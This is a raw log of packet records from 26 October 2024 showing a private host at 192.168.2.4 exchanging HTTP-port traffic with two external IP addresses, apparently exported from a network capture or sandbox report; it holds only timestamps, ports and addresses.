Oct 26, 2024 05:55:11.048815012 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048835993 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048857927 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.088660002 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.088702917 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.088721991 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.088795900 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.088845015 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.129566908 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.129621983 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.129643917 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.129652977 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.129668951 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.129688025 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.129698038 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.129740000 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.195031881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195102930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195141077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195146084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195174932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195214987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195245981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195247889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195247889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195270061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195298910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195302963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195353031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195363998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195398092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195406914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195449114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195461035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195502996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195512056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195549011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195553064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195584059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195590973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195620060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195630074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195650101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195678949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195698023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195702076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195744991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195754051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195784092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195791006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195818901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195830107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195853949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195863008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195888996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195899010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195923090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.195934057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195964098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.195974112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196010113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196014881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196043015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196052074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196082115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196094036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196135044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196136951 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196171999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196177006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196211100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196244001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196244001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196245909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196285963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196285963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196336985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.196376085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.196419954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.203171968 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203203917 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203222036 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203246117 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203327894 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203363895 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203375101 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203409910 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203416109 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203449965 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203454018 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203488111 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203493118 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203536034 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203545094 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203582048 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203588009 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203617096 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203623056 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203654051 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203660011 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203689098 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203695059 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203723907 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203730106 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203772068 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203849077 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203886986 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203943014 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.203984976 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.203993082 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204026937 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204035044 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204066992 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204123020 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204164982 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204174995 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204212904 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204222918 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204250097 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204255104 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204279900 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.204289913 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.204319000 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.243973017 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.244002104 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.244054079 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.244056940 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.244077921 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.244086027 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.244098902 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.244131088 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.286031961 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.286227942 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.286257982 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.286273956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.286298037 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.286314964 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.351581097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351625919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351660967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351695061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351722002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.351730108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351768017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.351777077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351778030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.351805925 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351823092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.351845026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.351932049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351967096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.351979971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352008104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352037907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352072954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352081060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352114916 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352123976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352157116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352165937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352200985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352229118 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352281094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352313042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352334976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352360010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352406025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352458000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352490902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352505922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352572918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352602005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352627993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352641106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352757931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352792978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352821112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352848053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352886915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352932930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.352952957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.352988005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.353035927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.353054047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.353102922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.353147984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.353358984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.353394032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.353410959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.353434086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.358810902 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.358843088 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.358916998 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.358958006 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359009981 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359011889 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359065056 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359097958 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359119892 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359150887 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359162092 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359181881 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359206915 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359216928 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359221935 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359266043 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359268904 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359302998 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359325886 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359347105 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359388113 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359437943 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359438896 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359472036 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359486103 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359524965 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359565973 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359618902 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359631062 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359664917 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359678984 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359711885 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359759092 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359803915 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359811068 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359846115 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359859943 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359896898 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359913111 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359947920 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.359967947 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.359987974 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.399669886 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.399708033 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.399775982 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.399784088 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.399818897 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.399842978 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.441845894 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.441901922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.441992998 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.442029953 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.442051888 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.508469105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508536100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508538008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508589983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508626938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508641958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508661032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508687019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508698940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508723974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508730888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508749008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508766890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508774042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508796930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508821011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508831978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508833885 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508867025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508872986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508902073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508900881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.508938074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.508981943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509035110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509073973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509087086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509120941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509170055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509222031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509264946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509274960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509320021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509371996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509438038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509471893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509506941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509515047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509541988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509574890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509619951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509793043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509820938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509846926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509860992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509872913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509907961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509921074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509941101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509953022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.509974003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.509989023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.510018110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.514265060 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514296055 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514329910 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514343977 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514349937 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514385939 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514396906 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514421940 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514425039 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514456987 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514503956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514547110 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514575958 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514597893 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514611006 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514626026 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514656067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514663935 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514714956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514714956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514766932 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514772892 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514807940 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514842033 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.514854908 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.514882088 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515023947 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515074968 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515079021 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515110016 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515121937 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515146017 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515202999 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515248060 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515285969 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515343904 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515363932 CEST	80	49803	185.215.113.16	192.168.2.4
